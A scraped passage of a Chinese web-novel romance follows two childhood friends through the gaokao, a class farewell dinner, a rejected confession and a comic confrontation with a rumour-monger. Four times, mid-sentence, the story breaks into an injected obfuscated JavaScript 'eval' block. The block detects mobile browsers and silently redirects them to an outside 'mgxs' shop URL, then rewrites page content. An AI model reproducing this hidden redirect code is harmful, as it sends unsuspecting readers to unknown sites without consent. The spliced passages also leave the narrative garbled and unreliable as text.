“舒乔,二十年后我们会是什么样?”她问。 舒乔答:“你成了全国知名的律师,我守在三尺讲台,书写春秋。” “真好呀!” 未来好光明。 倒计时三天的时候,学校不再强迫学生看书,而是让他们放松,有时间去操场走一走,或者运动运动,反正不能坐在书堆里。 周叙白拿了相机到学校,舒乔拉着刘刘拍照,每个留下过她们故事的地方都拍一遍。 等以后,坐在一起,看着照片,就能说说从前。 刘刘看着周叙白艳羡的目光,突然拿过他的相机,“不拍了不拍了,脸笑僵了。哎呀,我还没玩过相机呢。小周老师,你站过去呗,我给你们拍。” 由于周叙白经常给她们补课,所以刘刘叫他小周老师。 她说,这是一个敬称,感谢他的辛苦。 “好。” 周叙白给了她一个感激的眼神,站到了舒乔身边,中间隔了一个拳头。 明明以前也她拍过很多次合照,但没有哪一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126643|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像这一次紧张,他手都握成了拳。 忽然,舒乔掰开了他的手。 温温的触感让周叙白浑身一震。 他低头看向他们十指相扣的手。 幼儿园之后,他们再也没这样牵过手了,因为男女有别。如果要接触,最多的是握对方的手腕,最亲密的是偶尔才有的拥抱。 “舒乔乔……” 舒乔耳尖红了,有头发遮着,所以看不出来,她假装镇定道:“别多想,怕你太紧张了,让你放轻松摆了。” 周叙白失望的“哦”了一声。 “傻子。”舒乔骂了一句。 “什么?”周叙白没听清。 “没什么,”舒乔说,“高中不谈恋爱。” 可高中还有三天就结束了。 周叙白明白过来,止不住笑,以致于刘刘总提醒他的表情,收敛点,别像大狗狗一样,太憨了。 可他怎么停的下来。 那是人生中第二开心的一天,每每回忆起总是甜蜜的。 他爱死那一天的舒乔乔了。 高考前一天晚上,六点半放学,走出校门的那刻,舒乔回头望,还记得三年前她站在这里幻想三年后。而现在,她回忆三年前。 三年前那个青涩的自己,穿着蓝白相间的校服,扎着马尾,眼含笑意,走进校门,憧憬着高中生活。 三年,时间带走了青涩,她一点点长大,染上了大人们十分之一的成熟。但从未变过的是身边的人。 从前是周叙白,现在还是周叙白。 他仰望眼前的男孩子,恶劣地拍了拍他的头:“吃什么长这么高呀?害我和你说话总要仰头,脖子都酸了。” 周叙白也不恼,好脾气地同她说:“不用你仰头,我低头。” 他不光低下了头,还弯了腰,与她平视,那张棱角分明的脸撞进舒乔的眼眸,她羞涩地别过脸,握住他的手,“走啦走啦,回家啦。” “好。” 跟舒乔乔回家。 妈妈怕她考试出意外,煮了清淡的饭菜,她吃了一点就吃不下来,回到房间查漏补缺。 正沉迷时,窗外忽然传来噼啪声,她扭头,一簇簇蓝色烟火绽放在夜幕间。 不用猜就知道是谁放的。 周叙白。 小学六年级放一场,初中毕业放一场,高中虽迟但到。 她换了衣服跑出房间,和妈妈说了一声后就离开家。 一下楼,就见到了周叙白,他像是知道她会来,特地等在这里的。 她笑一下,扑进他怀里,“烟花很美。” “开心吗?”他问。 “开心。”她答。 “那要许个愿望吗?” “要。” 她闭眼,对着烟花许愿—— 希望考个好成绩。 希望……一直和周叙白在一起。 六月七号清晨,舒乔准时醒来,妈妈和周妈妈穿着红旗袍送考,意为旗开得胜。 八点半,舒乔和周叙白牵着手进考场,分别时默契地说了一句加油。 两天时间眨眼而过,最后一场文综考试铃声响起,高考正式结束,三年光阴画上了句号,此后,她的每一天不会再有复杂的数学,神叨的地理…… 舒乔几乎是冲出考场的,和她一样的人还有很多,脸上无一不带着笑—— 高中生涯结束了。 青春却还在继续。 她将要脱下校服,穿上喜欢的衣服,扮成大人模样,奔赴下一个地点。 15. 我想让你知道 高考后的日子是疯狂的,两天一大聚,五天一小聚。舒乔和周叙白已经连续一周没有回家吃过饭了。 第八天的时候,她又接到了聚餐电话,舒乔说什么也不肯出去。 “我肠胃吃出问题了,现在太脆弱了,今晚真不去了。”她对电话里的人讲。 从前并不这样,只是因为高考前吃得太清淡了,忽然重油重辣,身体受不了,舒乔已经拉了四天肚子了,但总有些盛情难却,她不得不去。 “可是,今晚上邀请了老师,班长你不出现的话是不是不太好……”电话里面的人说。 他们聚了这么多次,没有哪一次邀请老师。想起各科老师对她的照顾,舒乔咬了咬唇,应了下来。 反正都拉这么多天了,也不差这一天。 电话挂掉。 舒乔走进厨房,抱住妈妈,小女儿一样撒娇:“好香的排骨炖莲藕呀,光闻味道就好开胃……就是……” 她看向妈妈,带着歉意道:“出了一点小意外……” 妈妈懂她,捏了捏她的脸:“钱在玄关的柜子里……这莲藕排骨汤是我炖给你爸爸喝的。和你这个大忙人没关系哈。” 舒乔甜甜一笑:“谢谢妈妈。” 音落,还俯身吻了一下她的脸颊,这才离开厨房,回房间换了衣服离开家。 聚会的地点是一家物美价廉的炒菜馆,舒乔松了口气,终于不是火锅、串串了。 连续吃了七天,她腻得要死。 她走进去,同学们围了上来,其中一个女孩子说:“本来今晚不叫老师的,是体育委员单独组局叫我聚一次。不知谁喊了老师来。体育委员说,既然喊了老师,不喊班长说不过去,所以就把你喊出来了。你身体还好吗?” “还好还好,谢谢关心。” 舒乔为自己倒了一杯茶,坐了一会儿,刘刘来了。 她染了头发,化了妆,上来就给她一个大大的拥抱,“怎么样?好看吗?我最喜欢的粉色,高考前老想染了,现在终于实现了。” 舒乔看了看,摸了摸,笑言:“好看,显得你好白。” “呜呜,舒乔乔,就爱听你讲话,”刘刘在她怀里撒泼打滚,“我和你讲哈,本来我是不来的。你知道吗?吃了七天了,我真受不了了。就想念我妈妈做的那一桌清粥小菜,但大壮打电话说你也要来,我迫不及待就出门了。” “看来咱俩是真爱!” 刘刘立马从她怀里出来,双手环胸道:“不搞百合。姐纯直。再说,咱俩要是真爱,小周老师得灭了我。” “你——”舒乔捂住她的嘴,“不准说这个?” 刘刘眨巴眼,舒乔松开手,她笑:“舒乔乔,掩饰什么呀,我们班里的人都知道周叙白喜欢你。” “太羞耻了。”舒乔不是一个喜欢把私事拿出来说的人。 “那我小声问,”刘刘凑到她耳边讲,“今天是第八天了,小周老师表白了吗?” 舒乔摇头,“八天,我们见过四次面。不是他有聚会,就是我有。这么多年,没这么聚少离多过。” “那就是还没表白,”刘刘有些不平道,“表白不比聚餐更要紧吗?” 舒乔不这样认为:“我们还有很长的时间,但有些人错过这段时间,以后就再难见了。” “好有哲理的话。好吧,你一向明白自己想要什么。不说了。今天晚上有哪些老师要来?”她转移话题。 “都来。” “有点紧张,还没和老师坐一起吃过饭。” “紧张什么?你毕业了,他们再也管不到你了。” “太有道理了!哈哈哈哈,舒乔乔,我不怕老师了。” “但也别太嚣张!” 舒乔真怕她做什么惊天动地的事儿。 “放心放心。”刘刘给了她一个眼神,意思是她什么都不做。 六点半,班上的同学来的差不多时,大壮带着班主任及各科任老师出场。 同学们都站起来打招呼,班主任讲,“现在都毕业了,也没什么老师之分了。大家都当朋友,我们也比你们大不了多少。不用这么客气。都坐都坐。” “对对对,”语文老师附和,“今天没有老师学生之分,都是朋友,让我们也年轻年轻。” 他们发话了,大家也不再拘谨,说话的说话,拿东西的拿东西。 倒是英语老师凑到了舒乔身边,意味深长道:“小乔乔,你的小竹马呢?没带来?高中毕业后的聚餐允许带家属哦。” 舒乔还没说话,刘刘对上她的眼眸,“老师,您也知道?” “周叙白是谁呀!琼高最好的一个苗子。再加上有你们这群八卦的同学,想不知道也难呀!” “而且,有好几次他们在操场散步,我就在后面,可不是故意跟着的哈。操场就那么大,我消食,遇见了就看了几眼。明明没什么亲密动作,可就是觉得太般配了。” 那种默契,那种无人能插进的氛围,他们的眼中只有彼此。 “这算什么,”刘刘摆摆手,“您是没见过周叙白的眼神。每次他看向舒乔,温柔都要溢出来,把我这个灯泡都淹掉了。” 英语老师笑了起来,捏了捏舒乔的脸蛋,说道:“不光我看好你们哦!教导主任也看好你们。” “教……教……啥?”刘刘傻眼,“教导主任?” 舒乔也呆呆的,没想到以绝情著称,专拆情侣的教导主任会看好他们。 “有几次教导主任也跟在你们后面,”英语老师讲起,“我见到过几次。这小老头,一见你们,嘴角的笑都没下去过。我开他玩笑,说这你们走这么近,主任还不出手。你猜主任怎么说?” 英语老师卖了个关子。 “怎么说?”舒乔好奇。 “他说,我只拆孽缘,不拆正缘。有些学生,一看就是情窦初开不成熟,对未来根本没规划,这样的必须要分,对两个学生都好。但舒乔和周叙白不一样。周叙白对未来有清晰明确的目标,舒乔也是个理智的女孩。这两个人不必教,自己晓得规矩自己,不会做出格的事。” “真的假的?”刘刘将信将疑。 英语老师保证:“原话。教导主任原话。我一个字不漏复述的。” “真难想象呀!小老头居然能说出这样一番话,我以为他只会做灭绝师公的。” “灭绝师公,小老头还有这外号?谁取的?” 刘刘立马捂着住,而后拉着英语老师的手撒娇道:“可别告诉他。” “放心,我不说,”她扫了她们一样,“你们私下里给我取外号了吗?” “取了。”刘刘说。 “叫什么?” 刘刘看向舒乔,舒乔搓了搓说:“精致女士。” “哟,这外号贴切。我喜欢。谁取的,有品位。” 刘刘指了指舒乔。 英语老师一惊:“舒乔乔,看不出来呀!你居然还会给人取外号。” 舒乔从进班开始,留给老师们的印象就是,话不多,爱读书,办实事。真的很难想象,她居然会给老师取外号。 “意外,”舒乔说,“就是有一天,忽然发现您衣服、配饰都没重样过。就想到了‘精致女士’这词儿。” “你观察得很仔细嘛。”英语老师夸她。 闲聊间,服务生慢慢上菜,大壮招呼大家吃菜,还要了度数很小的酒。 舒乔和刘刘不要,换了酸奶。 期间,同学们轮番向老师们表达感谢,个别同学还说哭了。 舒乔很有感触,情绪爆发那天,若不是和班主任聊天,她还困在压力里,连卷子都不敢看。 三年时光,三年努力,能有今天,离不开任何一个老师的帮助。 舒乔也站了起来,表达感谢。 慢慢地聚到了尾声,班主任举杯,祝大家前程似锦……筵席散场。 离别时多有不舍,但还是相互挥手说了再见。 刘刘和舒乔想逛街,走得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126644|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没那样早,便陪着大壮送同学。 等到同学们和老师们都上车了,她们也同大壮说再见,但大壮叫住了舒乔,“我……我可以单独和你聊聊吗?” 他很紧张,手握着衣摆,止不住抖。 刘刘扫了他一眼,自觉退后,“菜有点咸,我买一瓶水去。” 一瞬间,她跑没了影。 大壮看向舒乔,问她:“可以等等我吗?就一会儿。” 舒乔点头。 大壮跑回了餐馆,出来时捧着一束巨大的玫瑰花。 舒乔再迟钝也明白了他要做什么。 只是,没想到他会喜欢她,一时间有点呆。 大壮深吸一口气,把想过千百遍的措辞说出来:“你可能不相信。我……见你的第一眼就喜欢你了。” 大壮是第二个进班的,他才踏进教室,就见着穿卫衣,扎着马尾的舒乔。她那时正搬桌子,小小的女孩子,力量却很大,不带喘气的。 舒乔应该是听到了动静,抬头看了一眼,见是同学,笑道:“你好,我叫舒乔。但他们喜欢叫我舒乔乔。” 琼枝人的习惯,单字喜欢叠着读。 大壮没见过这么漂亮的女孩,白皙脸蛋,五官精致,一下子红了脸,下意识摸了摸头,羞涩说:“你好……我叫徐文凌。” 音落的那刻,他听见了心跳的声音,噗通噗通,像有小鹿乱撞。 后来,他不自觉地将目光落在舒乔身上。 她不喜欢说话,她喜欢看漫画。上历史课,她听得很认真,数学课偶尔会走神…… 情窦初开! 他喜欢她。 但她有一个小竹马。 非常优秀的男生,从进校开始就霸榜第一,没下来过。并且,长相出众,家世优渥。 这样的配置,让年级上许多喜欢舒乔的男孩子望而却步。 可他想试试。 青春嘛!冲动,不想留下遗憾。 所以他说:“我知道我没有胜算……可我想让你知道我喜欢你。如果给你造成困扰,是我的过错,还请原谅。” 舒乔说:“不必抱歉。喜欢一个人没错,想让她知道也没错。但是……” “我知道的。你心有所属。嘿嘿,我都知道。从周叙白来教室找你,刘刘说你们是青梅竹马时,我就知道我的喜欢不会有结果。” 大壮吸了吸鼻子,望了望天,调整情绪,以最好的样子面对她:“可以接受这一束花吗?不是用我爸妈的钱买的。是我去年做寒假工存下的。” 拿到那笔钱时,他给爸妈买了新衣服,剩下一小部分,就想到了舒乔。 想给她买玫瑰花,想在人声鼎沸处向她告白。 前者他做到了,后者他不认可。不应该拿别人绑架一个女孩子。 她应该按照自己的心意走,而不是被起哄声裹挟。 舒乔看向九十九朵黑魔术玫瑰,很吸睛,很讨女孩子芳心。 但是,舒乔说:“抱歉。” “可以拿一朵吗?”他退而求其次,带着一点请求意味。 “我……”不能因为怜悯就接受,舒乔在心里告诫自己,所以她仍讲抱歉。 大壮明白了,捧着玫瑰的手垂了下去。 一会儿后说:“可以看着我走吗?我曾经看过很多次你走向周叙白的背影。” 她总是雀跃的,带着期待,因为那个男孩子,她喜欢的男孩子。 她和他说话时完全不一样,张牙舞爪,像只小龙虾。 而周叙白配合她所有幼稚的动作,他们走在一起,天生一对,密不透风。 “好。”舒乔答应了这个请求。 大壮转身,走向了人潮。 他走远后,刘刘才站到舒乔身边,“我竟然不知道他喜欢你。” “我也不知道,”舒乔讲,“如果他不说,我可能一辈子也不会知道。” 刘刘叹了口气:“明知不可能的喜欢,也是一个人的兵荒马乱。” 16. 给他洗脑 舒乔怎么也没想到,比周叙白的表白先到来的是她和周叙白的谣言。 那不过是极其平常的一天,舒乔买了草莓小蛋糕,开开心心走在巷子里,谣言就像长了翅膀一样直往她耳朵里飞。 巷子里的人说,她喜欢周叙白,所以从小到大跟在他屁股后面跑,像小尾巴,跟屁虫,赶都赶不走。 有些嘴臭的甚至说她不知羞,小小年纪就倒贴男人。 舒乔怒上心头,二话不说就上去吵了一架! 喜欢周叙白她承认,但小尾巴、跟屁虫,舒乔不认。 究竟谁每天死皮赖脸跟在她身后打转? 究竟谁跟赖皮膏药一样要贴着她,赶都赶不走? 是周叙白! 那人说不过她,骂骂咧咧地走了。 舒乔咽不下这口气,几经辗转,多方打听,最终找上了谣言的始作俑者,一个与她be了的小竹马,住对门的小胖子。 她千算万算也没想到,竟然是他。 真是拳头硬了又软,软了又硬。 “你听我解释。”小胖子捧着水杯,请求她给个机会,那模样,像要哭了似的。 舒乔深吸一口气:“十分钟时间。我给你十分钟狡辩的时间。” “这事情是这样的……” 大概两天前,小胖子参加完聚会回来,在巷子口碰到了住八栋的蒋明礼。 “这小子喝了酒,一见我就贴了上来。一会儿问我能考多少分,一会儿问我想报那个大学,反正就是东问西问。我也喝了酒,他问什么我就答什么。” 小胖子不记得蒋明礼问了多少事儿,反正他问舒乔时,小胖子已经被训练的不设防了,想也没想,一股脑全说了。 “但是!此处重点!”小胖子拔高了声音,“我说的是周叙白这小子打小就喜欢你,天天扭着你屁股后面转,像一条跟屁虫似的。而且还贼心机,老算计我。” “算计你?”舒乔一愣,“还有这事儿?” 提起这个,小胖子顿时义愤填膺:“有!他可烦了!读小学五年级的时候,你送了我一根棒棒糖,那小子死皮赖脸从我手上拿走……还有上初中,有一次国庆你出去玩了,给我和李李都带了纪念品,那小子不抢李李的,就抢我的……” “纯抢?”舒乔不相信他是这样的人,问小胖子,“你这话偷工减料了没?” 小胖子果然嘿嘿一笑道:“他拿了你给我的棒棒糖,但送了我一辆遥控卡车……抢了你给的纪念品,第二天就给了我一套限量版的变形金刚……” 虽然小胖子没亏,还赚了不少,但他还是忿忿不平道:“这小子一直逮着我一个人薅。我生气也是应该的。” 音落,他又补充:“你知道他为什么不抢李李的吗?” 舒乔摇头,又不是肚子里的蛔虫,怎么可能知道。 小胖子讲:“我问过周叙白。这小子说李李是女的。言外之意就是,我是男的。他不喜欢你给男生送东西!所以,凡是你送我的,他想方设法都要拿走。真是个醋坛子呀!还贼老成!我们那时候,哪知道这些!” “难怪你后面都不收我送的东西了。”舒乔可算搞明白了原因。 小胖子摸摸头,有点羞涩道:“咱也不能一直占他便宜呀。” 做人还是要有底线!一次两次好说,次次就太不要脸了。再说,都是一个巷子长大的朋友。周叙白不喜欢,让让他也没什么。 “说得还挺有良心的。”舒乔笑言。 “哼,”小胖子秒变脸,非常不满地轻哼一声,“我要是没良心,他能和你青梅竹马,打小一对儿?” “我告诉你,”小胖子拍桌子,“你要是结婚,那我可得坐上席!不然我不同意这门婚事。” 这时候的小胖子说这段话纯粹是为了口嗨,但很多年后,舒乔和周叙白的婚礼上,他还真坐了上席。 周叙白是这样说的:“我能娶到我老婆还要感谢一个人。那就是住我老婆对门的小胖哥。最开始我老婆和他才是青梅竹马,他俩当婴儿时都睡一张床的。但后来我来了,而小胖哥也有自知之明,没和我抢竹马的位置,成全了我和我老婆一段美谈。我打心底感谢他。” 当然,这是后话,扯远了。 舒乔听了他不着调的话,给了他两拳,小胖子老实了,继续说:“蒋明礼还问了很多事,但我不记得我说啥了。反正第二天,所有人都在传,说你是周叙白的小尾巴,喜欢跟在他屁股后面转。” “蒋明礼在哪儿?”舒乔问。 “我也再找这小子。打那晚上,就没见着人了。” 真是奇怪,无顾消失了一般。 到这里,这事儿也算说开了,但舒乔没想轻易放过他,她说:“给你个一个将功补过的机会,三天内必须找到蒋明礼,不然我就要找李李好好聊聊了。” 小胖子一听李李,急得站起来,“姑奶奶你放心,我铁定把事儿办好。” “行。等你好消息。” 说完,舒乔推开门,走出茶餐厅。 说三天,就三天,小胖子准时把蒋明礼的消息带给舒乔。 “这小子一直在巷外网吧打游戏呢!我就说怎么没影儿,一直待里头,打了好几天了,没出来过。” 舒乔扔掉牛奶盒对小胖子讲:“行,咱一块儿去找他。” “找他做什么?”小胖子问。 舒乔讲:“给他洗脑。” “啊?” 小胖子没反应过来,但舒乔已经走远了,他追上去,两个人来到网吧,在一个角落找到了蒋明礼。 蒋明礼见到他们,取了耳机,笑言:“哎哟哟,小乔妹妹找我什么事?” 嬉皮笑脸,真是惹人生气。 但舒乔心平气和说:“来给你洗脑。” “啥?”蒋明礼没明白过来。 洗脑,洗啥脑?他寻思他昨天才洗了头,正干净着呢! 舒乔不需要他明白,直接讲:“知道我为什么跟在周叙白身后吗?” “你喜欢他呀!”蒋明礼一脸我懂的样子。 舒乔却摇摇头,“不是。骑白马的不一定是王子,我跟着他也不是因为喜欢……” “那是啥?”蒋明礼来了兴趣。 舒乔说了四个字,有利可图。 蒋明礼傻眼了,小胖子也傻眼了。 舒乔仍是平静的样子,“上幼稚园时,我跟在他身后,是因为他每天给我糖吃。读小学,我黏着他,是为了抄他作业。到初中,我怕考不上高中,一直让他给我补课。终于到了高中,我喜欢的男孩子和是好朋友,所以我离不开他。” “我去!这么劲爆!”蒋明礼真信了。 舒乔勾起了唇,似笑非笑:“是呀!就这么劲爆。所以说,你说我什么不好居然说我喜欢他?我眼光有这么差吗?” “差?姐姐,我觉得你这话说的不对!你听喜欢周叙白才是眼光差吧。就周叙白,多好看呀!家世也好,人也优秀。咱们巷子里好多女孩子喜欢他。啧啧啧,你居然看不上他。” “原来你也知道。”舒乔露出了阴翳的笑容。 蒋明礼没听清,正想问她说什么时,舒乔突然暴怒,摁住他就是一顿打。 他三天没好好吃饭,正低血糖的时候,硬是没反抗起来,被舒乔打得哇哇叫。 小胖子被这画面镇住了,捂着眼睛不敢看,耳边只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126645|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有蒋明礼求饶的声音。 到舒乔打了好一阵才停手,而后又极平静的问蒋明礼:“还记得我刚刚见你时说的第一句话是什么吗?” 蒋明礼捂着被打的地方,自暴自弃讲:“我怎么知道。” 舒乔帮他回忆,“我说了五个字,来给你洗脑。” 蒋明礼想了想,特二百五地说:“我觉着我也没被洗脑呀!而且我脑子挺干净的。” “不!你已经被洗脑了!”舒乔又笑起来,那笑容挺渗人的。 “啊?” 还没等蒋明礼反应过来,舒乔的声音再度响起:“我刚才同你讲的和周叙白那些都是假的。” “啥……啥意思?”蒋明礼糊涂了。 一会儿真,一会儿假,究竟什么是真,什么是假。 舒乔邪恶一笑:“意思是你还要挨顿打!” “还打……我……” 小胖子再度捂上眼睛,舒乔边打边问:“谁给你的胆子在巷子里乱传我和周叙白?” 蒋明礼哀嚎:“喝酒给的。姐,姐,我真错了!我也不是故意的,我那天喝了酒,确实不知道自己讲了啥。等我醒来时,局面已经成这样了……我解释过,但他们不听!” “那我该不该给你洗脑?” “该!该!该!”蒋明礼捂着脸说,“姐,姐,姐,你真饶了我吧。我……我……我给你周叙白的情报。” 舒乔收了手,示意他讲讲。 蒋明礼凑来过来,神叨叨讲:“周叙白这几天不都很忙吗?都没在巷子里出现过。但有几次,我看见他和一个男生走在一起,很亲密的样子。我怀疑他……” 得!不是醉酒的错!这蒋明礼清醒时也是满嘴跑火车,舒乔的拳头又硬了,“还得再把脑子洗洗!” 蒋明礼连忙退避三舍,就差跪了。 “姐,真的,饶了我,我保证我这张嘴再也不乱讲。求你了,真求你了!” 他态度诚恳,打了他这么久,舒乔也累了,扭了扭手腕道:“要是还有下次,我一定会把你脑子掰开了洗干净的。” “没有下次,绝没有下次。”蒋明礼保证。 “行!”舒乔带着小胖子出了网吧门。 小胖子把心里的疑惑讲出来:“你给他洗脑,讲哪些做什么?” “洗脑呀!” “啊?”小胖子还是没明白。 舒乔说:“不讲一些不着边际的话,怎么洗脑?” “那时候真在给他洗脑?所以提周叙白云云。” “对呀!” “可……可……我以为的洗脑就是打他。” “逻辑要严谨。虽然我是文科生,说了洗脑,肯定要洗脑的嘛!当然,精神洗了,身体也要洗。” “好吧,”小胖子摸了摸自个儿的头,“其实……吧,我还是没懂你的逻辑。但这事儿没必要再说了。” 再说下去,他肯定要晕了。 “行。” 两人往巷子口走,快到巷口时,见着了卖糖葫芦的,小胖子走上前买了三根,给了舒乔两根,一脸讨好道:“小乔,乔乔,小胖哥知道你最好了。这糖葫芦……” 舒乔给了他一个放心的眼神,“我懂!我懂!绝对给你送到。” “行!有你这句话,哥贼放心。” 两人啃着糖葫芦进了巷子,快到老槐树下时见到周叙白。 周叙白本是笑着的,但见他们一路,笑容顿时凝固了,然后一个箭步跑上来,抱住舒乔就哭:“你怎么和他在一起呀!你是不是想重新和他当青梅竹马呀!舒乔乔,你是不是不喜欢我了?” 舒乔:“……” 小胖子:“……” 17. 又去洗脑 当着熟人的亲密接触,舒乔不自在极了,白皙的脸颊瞬间绯红,像抹了一层胭脂似的。 她拍了拍周叙白的肩,让他起开。 周叙白摇头,无论舒乔怎么推都不松手。 舒乔没招了,放弃了,随他。 小胖子笑了:“他在你面前一直这幅模样吗?好粘人呀。像大狗狗一样。” 舒乔扯了扯周叙白,“听人说了吗?大狗狗,你都被说狗了,还不起开。” “大狗狗怎么了?我乐意当舒乔乔的大狗狗,永远朝你摇尾巴。”周叙白埋头舒乔的颈窝,死不要脸道。 小胖子被他一番话肉麻到,直搓手臂,“鸡皮疙瘩掉一地了。” “又没让你听。” 周叙白真像大狗狗一样在她颈窝处拱了拱。 舒乔偏头讲:“痒。” 周叙白立起了身子,“哪里痒,我帮你挠挠。” “滚——”舒乔捂住自己地的脖子,“离我远点!少动手动脚。” “不滚!”周叙白捏住她的手,“我动手,不动脚。” 舒乔也挣脱的,没挣掉,便让他握着,反正也成年了,不算出格。 周叙白瞥了一眼他们十指相扣的手,问道:“舒乔乔,明天晚上有空吗?” 舒乔说:“没空。” “后天晚上呢?”他又问。 舒乔拒绝:“也没空。” “你什么时候有空?” “什么时候都没空!” “你……”周叙白委屈了,“舒乔乔,你是不是故意的?” 舒乔点头:“我就是故意的。” “我要哭了,舒乔乔。” “不准哭!丢人。”舒乔严令禁止。 “我不怕丢人。” “我怕!我怕!”舒乔败给他了,“有空!有空!只要你找我都有空!” “舒乔乔,我就知道你最好了。”周叙白又给了她一个大大的拥抱。 小胖子在一旁笑地嘴都合不拢了,“你两太搞笑了,真的太搞笑了。” “搞笑啥?”周叙白没懂他的点。 舒乔也不懂。 小胖子也不知道自己笑什么,道了一句:“只可意会,不可言传。” 就觉得很好笑。 “行吧……”周叙白想,就当看见一傻子。 既然碰到一块儿,三个人便一起走。 快到舒乔家楼下时,周叙白咬了一口舒乔的糖葫芦,问小胖子:“你们去做什么了?” 小胖子正要吐槽蒋明礼那个家伙,舒乔却讲:“没做什么。就是巷子口碰见了,买了糖葫芦。” 小胖子把涌上来的话哽下去,“对,巷子口碰见了。” “那买糖葫芦只买三根是什么意思?没预算我,还是没预算李李。” “当然是没预算你了。”小胖子直言不讳。 “为什么?我生气了!” 明明是四个人,为什么他不配有姓名! 小胖子嘿嘿一声,“因为是我给钱!” “行!你等着!” “等着就等着!” “……” 两个准大学生像小学生一样吵架,舒乔嫌丢脸,扔下他们独自回家。 等人走远了,周叙白停了下来,一本正经问:“老实说,做什么去了?” 小胖子瞅了瞅舒乔离开的方向,“她不让我说。” “不要怕,”周叙白哄他,“后果我来承担。” 最坏的结果也不过是被舒乔乔打一顿,周叙白承担得起。 “行……”小胖子咬完最后一口糖葫芦,鼓起勇气说,“蒋明礼传你和舒乔的谣。” “什么谣?” 小胖子把事情的来龙去脉说了一遍,周叙白怒上心头,“你喝酒就不长脑子吗?他问你什么就答什么?蒋明礼从小到大都是个满嘴跑火车的人,这巷子有多少事,经过他嘴里全变味儿了。” “这——”小胖子委屈巴巴讲,“这也不能全怪我呀!他问的太多了,问到最后我头晕了,自然他问什么我答什么了。” “他人在哪儿?”周叙白沉着脸问。 “网吧。” “带路!” “你要做什么?” “我去给他洗洗脑!” 这话让小胖子一愣,说道:“你两不愧是青梅竹马。” “那当然了!我和舒乔乔是全世界最好的青梅竹马!” “恶心!”小胖子掐人中。 周叙白说:“别墨迹,快走。” “行。” 小胖子带着周叙白去巷子口网吧,一进门,就碰上了要出门的蒋明礼。 这小子一见他们,双腿不自觉抖起来,颤着音道:“小胖哥……这……还来找我呀?” “这不明摆着嘛!”小胖子说。 蒋明礼指了指自己的脸,还有被抓红的手臂,“我都这样子了,放过我吧!舒乔那姑奶奶可是下死手的呀!” “他是他,我是我。”周叙白说。 蒋明礼看向周叙白:“你两不是两口子嘛!算一体!” “我还没表白,现在我只是她的小竹马。” “也不必算这么清楚……”蒋明礼摸了摸鼻子道。 “还是要算的。不然怎么给你洗脑!” “靠!”蒋明礼竖起大拇指,“你两不愧是青梅竹马。” 这默契,绝了! “但是……”蒋明礼讨好地笑了笑,“洗脑还是算了吧!舒乔已经给我洗过一次了,我现在已经完全认识到我的错误了!” “不,”周叙白摇头,“她洗的还不够彻底!我来洗!” 蒋明礼捂住耳朵:“我不听!” 周叙白讲:“不听也得听!” 他和小胖子上前,一人钳制住蒋明礼一只手,周叙白在他耳边讲:“是我从小到大追着舒乔屁股后面跑,我是他的小尾巴,跟屁虫!上幼稚园的时候,舒乔都不跟我玩,是我用棒棒糖哄着,她才看我一眼!” “读小学,为了和舒乔有更多相处时间,我给她补课,骗她和我做同桌……高中,我守了舒乔三年,看了舒乔三年!离不开她的是我!从来都是我。” 音落,周叙白又掷地有声地补充一句:“听明白了吗?” “听明白了,”蒋明礼欲哭无泪,“你两的爱情故事我现在能倒背如流。放过我吧,哥……” “那你造什么谣?”周叙白爆起,梆梆两拳打在他肩头,警告他,“从今天开始,我要是再从你嘴里听到和舒乔有关的事儿,我见你一次打你一次!” 蒋明礼发誓,“我以后再说你和舒乔,我出门被车撞死!” 他如今贼怨恨当初嘴贱的自己,黑的说成白的,白的说成黑的。 这两口子,真不是人! 哦!不对!青梅竹马!人还没表白呢!不能当做一对! “行。” 有了他的誓言,周叙白也不再教训他,带着小胖子出了网吧门。 回去路上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126646|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小胖子揽住周叙白的肩问:“你告诉小胖哥,什么时候喜欢上舒乔的?” “幼稚园。” 